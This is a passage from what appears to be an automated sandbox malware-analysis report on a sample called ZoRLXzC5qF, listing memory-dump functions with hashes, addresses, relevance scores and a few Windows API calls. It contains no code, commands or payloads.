Opcode Fuzzy Hash: d5c721a1ff4a79f888a7113ba07b68c74c85c02e66e6caf9ad26dc999d74a7c7
Instruction Fuzzy Hash: F181A274E00618CFEB18DFAAD984A9DBBF2BF89301F14C069E819AB365DB345945CF50

Function 0015CCD8 Relevance: .2, Instructions: 186COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2689556752.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d35aa76a83292b484a269f59261a208929de4e45ef531d04260f57b9733482ca
Instruction ID: 378ede8adf02b84f642dd70df34e2b98407b6db890ee4129e873717f863add65
Opcode Fuzzy Hash: d35aa76a83292b484a269f59261a208929de4e45ef531d04260f57b9733482ca
Instruction Fuzzy Hash: BB81B474E00218CFEB18DFAAD884A9DBBF2BF89301F14C069E819AB365DB345945CF50

Function 0015C738 Relevance: .2, Instructions: 185COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2689556752.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc39e946c4afffc4954593d36e6b1fcf74f4275b862f0c94f90e3bfaef816520
Instruction ID: 92f8d3a312d995cc057aefc219776ffaa527bea56ef1df1dd639e0c00b000ed2
Opcode Fuzzy Hash: dc39e946c4afffc4954593d36e6b1fcf74f4275b862f0c94f90e3bfaef816520
Instruction Fuzzy Hash: A881C274E00218CFEB18DFAAD984A9DBBF2BF88305F14C069E859AB365DB345945CF50

Function 0015CFAC Relevance: .2, Instructions: 185COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2689556752.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fde897c4ba6fb551945ee2e070a910640212e822b3960ac0406b7f49f950cfda
Instruction ID: 621e4017416ce04a3c2362db548d7f9cb00415aff3c6571ce072e897ca8e218b
Opcode Fuzzy Hash: fde897c4ba6fb551945ee2e070a910640212e822b3960ac0406b7f49f950cfda
Instruction Fuzzy Hash: FB81D774E00618CFEB18DFAAD984A9DBBF2BF89301F14C069E819AB361DB345945CF50

Function 38DA1798 Relevance: .2, Instructions: 162COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2719798178.0000000038DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38da0000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d00b5661095a1aa9bc3b2008d8f1678524d476a889e0cdc0d2a9d799010c716c
Instruction ID: b04e2d58ec1ec7b466c5bc2f5715759e49d02d7d249fa2712c5c5618e0275633
Opcode Fuzzy Hash: d00b5661095a1aa9bc3b2008d8f1678524d476a889e0cdc0d2a9d799010c716c
Instruction Fuzzy Hash: 067183B5D01628CFEB68CF6AC954B9EBBF2AF89300F14C1E9D409A7254DB744A85CF10

Function 0015E97C Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2689556752.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89db40facd5442cfd435a86061a4213788f313409c02227952dc9e92697f2ab2
Instruction ID: 7914202c451f1906d79c021e582cbffe2e2c86cfc16705426935898f4d2c5a40
Opcode Fuzzy Hash: 89db40facd5442cfd435a86061a4213788f313409c02227952dc9e92697f2ab2
Instruction Fuzzy Hash: F851A774E00208DFDB18DFBAD584A9DBBF2BF89301F248129E815AB364DB355945CF14

Function 0015E988 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2689556752.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d7897423c81a354b98c4d01fdb3783320dcc50c9c9a20791b6d7273614f4cec
Instruction ID: 12c5cbef1986f6d05e057a86185cb790aaf6b6f7e61f50f481353727d46d1f3d
Opcode Fuzzy Hash: 6d7897423c81a354b98c4d01fdb3783320dcc50c9c9a20791b6d7273614f4cec
Instruction Fuzzy Hash: 1C519474E00208DFEB18DFAAD594A9DBBF2BF89300F248129E815AB364DB355945CF54

Function 39CC5FC7 Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720156799.0000000039CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39cc0000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97a96179672a0f2fb4025606f9d0111a76b0a7185bd04163f7a9ebb234d32fb7
Instruction ID: acaa154c82f0d0238562946d8d86de0175f7dc1163b221a1c67278ac7eeadc24
Opcode Fuzzy Hash: 97a96179672a0f2fb4025606f9d0111a76b0a7185bd04163f7a9ebb234d32fb7
Instruction Fuzzy Hash: 4D41F2B0D002088BEB18DFAAD9547DDBBF2BF89304F20C16AD418BB295DB755946CF54

Function 38DA1E79 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2719798178.0000000038DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38da0000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d19576249077166583c4bd235d1846d3213efa18c183068fee0632354d061e6f
Instruction ID: 09f33979e298bc58d2bc225e1c637d16930d50f58617d445f636dd6701991c15
Opcode Fuzzy Hash: d19576249077166583c4bd235d1846d3213efa18c183068fee0632354d061e6f
Instruction Fuzzy Hash: 53414AB1E016188BEB58CF67C9447DEFAF3AFC9300F14C1AAC40CA6254DB750A858F51

Function 38DA2959 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2719798178.0000000038DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38da0000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38cfbb54b2d36c10a7f829efd5adfaf041fc166d7a551781c5d5ff78e714960a
Instruction ID: cc8dde035f2b38d2068474f830da0e2719fa89b987436147868b914bd1cdf044
Opcode Fuzzy Hash: 38cfbb54b2d36c10a7f829efd5adfaf041fc166d7a551781c5d5ff78e714960a
Instruction Fuzzy Hash: 614101B4E00248DFEB18CFBAC55469EBBB2AF89300F20C12AD414BB265DB384946CF44

Function 39CF1CEB Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720221125.0000000039CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39cf0000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd973c85cc68f55fe6241feb667191ee8c66dbdd0c3e54dec24a2d034fe68784
Instruction ID: 76f2d2bacbe2c9aee9632da8aa2b18e4920c988f1f38befbbe027b43f1aafb63
Opcode Fuzzy Hash: fd973c85cc68f55fe6241feb667191ee8c66dbdd0c3e54dec24a2d034fe68784
Instruction Fuzzy Hash: 9B41D374E002188FEB58DFAAD8546DEBBF2BF89300F20D12AD419BB254EB355942CF54

Function 39CC6675 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720156799.0000000039CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39cc0000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03d4411aa7f1879b207b3a7d28b8f3f3585762405f240fa469f2b5e3fb997aa4
Instruction ID: 1e2eb069f7634436707f3a54957768603d41719e0645596d501db7c424b3dd16
Opcode Fuzzy Hash: 03d4411aa7f1879b207b3a7d28b8f3f3585762405f240fa469f2b5e3fb997aa4
Instruction Fuzzy Hash: 0941C474E002198BEB18DFAAD9546DDBBF2BF89300F20C12AD418BB254DB355946CF50

Function 39E7AAC0 Relevance: 6.1, APIs: 4, Instructions: 130
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 39E7AB46
GetCurrentThread.KERNEL32 ref: 39E7AB83
GetCurrentProcess.KERNEL32 ref: 39E7ABC0
GetCurrentThreadId.KERNEL32 ref: 39E7AC19

Memory Dump Source

Source File: 00000003.00000002.2720431562.0000000039E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 39E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39e70000_ZoRLXzC5qF.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: eac043f94250d0e7b8b6519fe2bf6d4539823da275ea4ce86c7a2bfa7dadbfe0
Instruction ID: 389ee7a3a20320afbc6d7d77c96657b90dc636b635214fc3aca547031121a731
Opcode Fuzzy Hash: eac043f94250d0e7b8b6519fe2bf6d4539823da275ea4ce86c7a2bfa7dadbfe0
Instruction Fuzzy Hash: A65155B1900749DFEB54CFAAD549BDEBBF1EF88310F208459E009A7360D739A941CB66

Function 39E7AAC8 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 39E7AB46
GetCurrentThread.KERNEL32 ref: 39E7AB83
GetCurrentProcess.KERNEL32 ref: 39E7ABC0
GetCurrentThreadId.KERNEL32 ref: 39E7AC19

Memory Dump Source

Source File: 00000003.00000002.2720431562.0000000039E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 39E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39e70000_ZoRLXzC5qF.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 534856dbb7a984fbbb428530ce6d0f26d1ba8782478af9ddd29b9bad156df5f4
Instruction ID: 93016a4d86d00669a3a4abd55d18c7e0f1daf3614541dcd1efed681c9d66f7d0
Opcode Fuzzy Hash: 534856dbb7a984fbbb428530ce6d0f26d1ba8782478af9ddd29b9bad156df5f4
Instruction Fuzzy Hash: C95155B1900749DFEB54CFAAD545BDEBBF1EF88310F208459E009A7360D735A941CB66

Function 39DF5684 Relevance: 1.6, APIs: 1, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 39DF57A2

Memory Dump Source

Source File: 00000003.00000002.2720368664.0000000039DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39df0000_ZoRLXzC5qF.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: b5196930a3d8cb4ede5102e7b1f58ac51093b381513cbeaa1c05667043a8b179
Instruction ID: d9568ae2c6fcff9d1e3b47f47610ade15d2ea9a73e63443b0a4ced3fc0791135
Opcode Fuzzy Hash: b5196930a3d8cb4ede5102e7b1f58ac51093b381513cbeaa1c05667043a8b179
Instruction Fuzzy Hash: 3951D0B5C00349DFDB14CFA9C881ADEBBB5BF48310F65812AE819AB210D775A845CF90

Function 39DF5690 Relevance: 1.6, APIs: 1, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 39DF57A2

Memory Dump Source

Source File: 00000003.00000002.2720368664.0000000039DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39df0000_ZoRLXzC5qF.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 424192ebaa1ab15681d12bf9573935ab41fe36e3678a4285afadb362014a3158
Instruction ID: 605e5dd40e327a493d573510ea7b0a0d500c5acd04d8fb1dc7d57dda5ba3de28
Opcode Fuzzy Hash: 424192ebaa1ab15681d12bf9573935ab41fe36e3678a4285afadb362014a3158
Instruction Fuzzy Hash: 7941D1B5C00349DFDB14CF9AC881ADEBBB5BF48310F64812AE819AB210D775A841CF90

Function 39DF2D94 Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 39DF7E91

Memory Dump Source

Source File: 00000003.00000002.2720368664.0000000039DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39df0000_ZoRLXzC5qF.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: a36576dcfda1c984f9d7b448bee3ce6be36b8616f7268dbe4266b001555343b2
Instruction ID: 7cabae39e57fbdf0e017adfc615e83c423baa43ad93aff0afa3870ef4154e2be
Opcode Fuzzy Hash: a36576dcfda1c984f9d7b448bee3ce6be36b8616f7268dbe4266b001555343b2
Instruction Fuzzy Hash: 76415AB9900309CFDB10CF99C846A9AFBF5FF88310F25C459E519AB721D735A841CBA1

Function 39E7AC99 Relevance: 1.6, APIs: 1, Instructions: 91
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 39E7AD97

Memory Dump Source

Source File: 00000003.00000002.2720431562.0000000039E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 39E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39e70000_ZoRLXzC5qF.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 89ed608ae2f303bb0e9659aa20c619d24b57346cc1e4c271f00da5ab7c1b9b8c
Instruction ID: 3eccbf427fbe2d3dacdf0f0dea6e9511fb728f03428c66b84b3b77ca51ccb337
Opcode Fuzzy Hash: 89ed608ae2f303bb0e9659aa20c619d24b57346cc1e4c271f00da5ab7c1b9b8c
Instruction Fuzzy Hash: BC314476900248EFDB01CFA9D840AEEBFF5EF48320F18805AE944A7361C335A951CFA1

Function 39E7AD08 Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 39E7AD97

Memory Dump Source

Source File: 00000003.00000002.2720431562.0000000039E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 39E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39e70000_ZoRLXzC5qF.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 3c423a4228c6b6339a7cdf71787a065605224383c4d5d9f8b5d1584d7d8ecb00
Instruction ID: 5c88a88b9993cbbcd01997d9deafcbe22d0804e571ce1350eaeb161f7e043150
Opcode Fuzzy Hash: 3c423a4228c6b6339a7cdf71787a065605224383c4d5d9f8b5d1584d7d8ecb00
Instruction Fuzzy Hash: 9521F4B5900218EFDB10CFAAD880ADEBBF8EF48314F14841AE914A7350C379A941CFA1

Function 39E7AD10 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 39E7AD97

Memory Dump Source

Source File: 00000003.00000002.2720431562.0000000039E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 39E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39e70000_ZoRLXzC5qF.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 07e78dcb5419c85f67544103d91ebff6d8e58d3d0b2c0adc9a581647932341f8
Instruction ID: 618b802c62229d488e3d599d83ede49f454161ac2dcaa2e9bd29e27c7d5f60ca
Opcode Fuzzy Hash: 07e78dcb5419c85f67544103d91ebff6d8e58d3d0b2c0adc9a581647932341f8
Instruction Fuzzy Hash: 9121B3B5901248EFDB10CFAAD984ADEBBF8EB48310F14841AE954A7350D375A950CFA5

Function 39DFA310 Relevance: 1.6, APIs: 1, Instructions: 54comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 39DFA36D

Memory Dump Source

Source File: 00000003.00000002.2720368664.0000000039DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39df0000_ZoRLXzC5qF.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: d52fb6614cb68cf024eade6353c649f5d3e7f21818fc8d7bb83d835a0d92b683
Instruction ID: 3d8023bf20261de9e489131045fcef8941a301183bc8483cd8edaade61511eba
Opcode Fuzzy Hash: d52fb6614cb68cf024eade6353c649f5d3e7f21818fc8d7bb83d835a0d92b683
Instruction Fuzzy Hash: 8E1176B1900288CFDB20CFA9D445BDEBBF4EB49320F14845AD049A7710D376A544CFA2

Function 39DF9480 Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 39DFA36D

Memory Dump Source

Source File: 00000003.00000002.2720368664.0000000039DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39df0000_ZoRLXzC5qF.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 8c0661318ea2653c4f5ea4f008641617bc30a9505ea8d83a8194dba4c2b7e56e
Instruction ID: 9276c34b89f6ce86ac5c3dbdab90835e891b7ca0e5b8638b42b3d903e5b5fd96
Opcode Fuzzy Hash: 8c0661318ea2653c4f5ea4f008641617bc30a9505ea8d83a8194dba4c2b7e56e
Instruction Fuzzy Hash: A61130B5800348DFDB20CFAAD445B8EFBF4EB48720F20841AE519A7700D379A944CBA5

Function 38DA3A51 Relevance: 1.5, Strings: 1, Instructions: 232COMMON

Download Yara Rule

Strings

, xrefs: 38DA3B4D

Memory Dump Source

Source File: 00000003.00000002.2719798178.0000000038DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38da0000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 96d1d0ef3b48a5d63a730df2af38679580cb5731a05b7a4e23bb47fea7ebcc07
Instruction ID: 16e9706d958d49c4c7a28303aaf75a7dd8e87a83c79cf7db86b2d73b152d270f
Opcode Fuzzy Hash: 96d1d0ef3b48a5d63a730df2af38679580cb5731a05b7a4e23bb47fea7ebcc07
Instruction Fuzzy Hash: 5681E534700304ABEB196F78C85935E36A3AFC53A0F304219E9569B3D1CF398D86CB96

Function 00152790 Relevance: 1.3, Strings: 1, Instructions: 88COMMON

Download Yara Rule

Strings

F, xrefs: 001527BF

Memory Dump Source

Source File: 00000003.00000002.2689556752.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID: F
API String ID: 0-2730988801
Opcode ID: 1ff6d070c8b1d860ec1a18743049c66729b018c1c46f1bd75cc651a05c0627e1
Instruction ID: 879e5dfbd72e23578c1efd2cfcc75b455cb09c64cad16a3e779bfc96c7cbaba8
Opcode Fuzzy Hash: 1ff6d070c8b1d860ec1a18743049c66729b018c1c46f1bd75cc651a05c0627e1
Instruction Fuzzy Hash: C2315735D093498FCB05DFB9D8046EEBFB4AF4B300F1001AAC854AB221EB351989CBA1

Function 00158490 Relevance: .7, Instructions: 703COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2689556752.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec4bebce8b592575bac1d2801aef721f85e235c4a66ff817642746314fbaf0b6
Instruction ID: 8d142a113c52b8e1042e2cd9a703f0a68935f9913dc24169b62a4aa58cf7870d
Opcode Fuzzy Hash: ec4bebce8b592575bac1d2801aef721f85e235c4a66ff817642746314fbaf0b6
Instruction Fuzzy Hash: 8952FE34A00218CFEB55DBA4C860BAEBB73EF88301F1081A9D55A7B391DF355E859F91

Function 0015E018 Relevance: .6, Instructions: 647COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2689556752.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a550513f841ef2a8f0f1ea762876abcf981b80b1c1ffa9df8afedb1889600e46
Instruction ID: f844f5b6d75377923f45d308fcb9dcced2c6b6e0148d65f63bb4d9e243241881
Opcode Fuzzy Hash: a550513f841ef2a8f0f1ea762876abcf981b80b1c1ffa9df8afedb1889600e46
Instruction Fuzzy Hash: 74129835065646CFA2502B70EEAC12BBBF1FB1F32B7546CA8F10FC58659B3144C9CA62

Function 00150CA0 Relevance: .5, Instructions: 539COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2689556752.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 543d6246af1f4333d6454025f2be0ca99d582a82435c9faf609c0ff85345d5a5
Instruction ID: 5906851da4a97b3a760524902a17d5c9b04f102d4ce29589c00eefb1f19f1d59
Opcode Fuzzy Hash: 543d6246af1f4333d6454025f2be0ca99d582a82435c9faf609c0ff85345d5a5
Instruction Fuzzy Hash: 4052B474A40619CFEB54DF68DD95ACDB7B2BB88301F1081A9D409A7361DB386EC6CF90

Function 001576F1 Relevance: .5, Instructions: 475COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2689556752.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74573153c6db544d95ae5b12cd35ae9c694927d1fe1a962cebd8263570f6d42d
Instruction ID: 471c88eb3e00f125b5f9835624d010d941fa24b54402e34ba7c630f036557744
Opcode Fuzzy Hash: 74573153c6db544d95ae5b12cd35ae9c694927d1fe1a962cebd8263570f6d42d
Instruction Fuzzy Hash: 8F127D30A04209CFCB15CF68E885AAEBBF1FF89315F158599E829DB2A1D731ED45CB50

Function 00155F38 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2689556752.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2e3c432bae866301ccfd21a05cc949b269ebba9034a1d2a066b0feb00241c28
Instruction ID: 62ec4f4a46d57dcc7c2911f738996cf5baddd5346856beeb0cabb4a75343499d
Opcode Fuzzy Hash: b2e3c432bae866301ccfd21a05cc949b269ebba9034a1d2a066b0feb00241c28
Instruction Fuzzy Hash: 7FB19E30708610CFDB159B24C898B7A7BB2AFC9302F55456AE816CF3A1DB75CC8AD791

Function 39CEE950 Relevance: .2, Instructions: 239COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720200271.0000000039CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39ce0000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e63791256bba725c199b40d4a80793352a25cb89554faa719271b5fd85b8256
Instruction ID: 8ef0d44d87d10040cb8886c1d9850d7e9972b3090f0e9de787ea8da3bb934b92
Opcode Fuzzy Hash: 2e63791256bba725c199b40d4a80793352a25cb89554faa719271b5fd85b8256
Instruction Fuzzy Hash: 0181D338B00205CFD708DF78D855A5E7BF2BF89681B1541A9E506DB3A1DB35ED02CB94

Function 00156498 Relevance: .2, Instructions: 232COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2689556752.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de177d222c2307c5b09ba41f54b259d70804b1e53102ee6afbda582d600f6efb
Instruction ID: 3e5489a88a5aea8ec4ccec391fb1a5d759569af43b472a4edf15e562ef120615
Opcode Fuzzy Hash: de177d222c2307c5b09ba41f54b259d70804b1e53102ee6afbda582d600f6efb
Instruction Fuzzy Hash: DE81B130A00505CFDB18CF69C484A69BBB2BF89312BA58169D825DF365DB31EC49CFE1

Function 001580D8 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2689556752.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d81a6c7eb67ce6323413b86915a379947ffb36b97975a7203625eaa370bd80e
Instruction ID: f6cc0f27c64c65b3625684e849579f8e9b59e8214bc26a278c616262d341b65b
Opcode Fuzzy Hash: 0d81a6c7eb67ce6323413b86915a379947ffb36b97975a7203625eaa370bd80e
Instruction Fuzzy Hash: 7071F534700A05CFCB15DF68C884A6A7BE6AF99342F1540A9E826EF371DB70DC86CB50

Function 39CED700 Relevance: .2, Instructions: 174COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720200271.0000000039CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39ce0000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bfaf463cbec9604d27dacabd3c77c10a6fe0ee672bdbc24e814faa8bd4d1f198
Instruction ID: df3988ce0cbfe8adf629ed96a4dcdc74baee815b3a245a1fed7acebbb470511a
Opcode Fuzzy Hash: bfaf463cbec9604d27dacabd3c77c10a6fe0ee672bdbc24e814faa8bd4d1f198
Instruction Fuzzy Hash: 38819174E412288FDB65DF69D951BDDBBB2BB89300F1080EAD819A7290DB355E81CF44

Function 39CF81E8 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720221125.0000000039CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39cf0000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 913705037ee99537814c0e34696c35dee5c9f1d530c40859bbe08b4c6379a5d5
Instruction ID: 8a1413d8318a90bc3acc5e2d14cee9ddb014393c8323b04d221dc5245881ffe8
Opcode Fuzzy Hash: 913705037ee99537814c0e34696c35dee5c9f1d530c40859bbe08b4c6379a5d5
Instruction Fuzzy Hash: 8871D178E00208CFEB04DFA9D991ADDBBB2BF89300F648129D415BB355DB39A942CF54

Function 39CF21B8 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720221125.0000000039CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39cf0000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1d0cc372569b9b0ea8eb3d97b12a14a0a7a638fc9d55877b8c7d7971c961ecf
Instruction ID: 456cd5c0bac7ce567eef666c6d988d8d1809ce11bbe05a6041575f746e98ae59
Opcode Fuzzy Hash: b1d0cc372569b9b0ea8eb3d97b12a14a0a7a638fc9d55877b8c7d7971c961ecf
Instruction Fuzzy Hash: F171D178E00208CFEB18DFA9D981ADDBBB2BF89300F648129D815BB355DB395946CF54

Function 39CE73E0 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

